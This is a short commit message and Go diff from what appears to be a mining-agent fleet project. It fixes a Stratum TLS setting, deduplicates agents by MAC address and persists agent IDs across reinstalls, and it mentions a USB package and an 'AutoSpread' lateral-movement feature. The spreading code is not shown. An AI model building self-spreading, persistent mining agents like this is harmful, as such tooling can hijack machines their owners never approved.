fix(mining+fleet): two critical bugs - 1) PoolTLS was true on port 3333 (non-TLS port) causing direct Stratum to always fail = no hashing. Fixed to false. 2) Duplicate agent entries: server now deduplicates by MAC address on auth. Agent now persists server-confirmed ID back to agent.id so reinstalls reconnect as same agent. USB repacked.

agent/client/client.go

@@ -288,6 +288,10 @@ func (c *AgentClient) authenticate() error {
 	}
 	c.agentID = resp.AgentID
 	log.Printf("[agent] authenticated as %s", c.agentID)
+	// Persist the server-confirmed ID so restarts always reconnect as the same agent.
+	if installDir, err := c.cfg.InstallDirectory(); err == nil {
+		_ = deploy.PersistAgentID(installDir, c.agentID)
+	}
 
 	// Gate AutoSpread behind successful server auth: only spread on fleets where
 	// our fleet secret was accepted, preventing lateral movement on non-owned networks.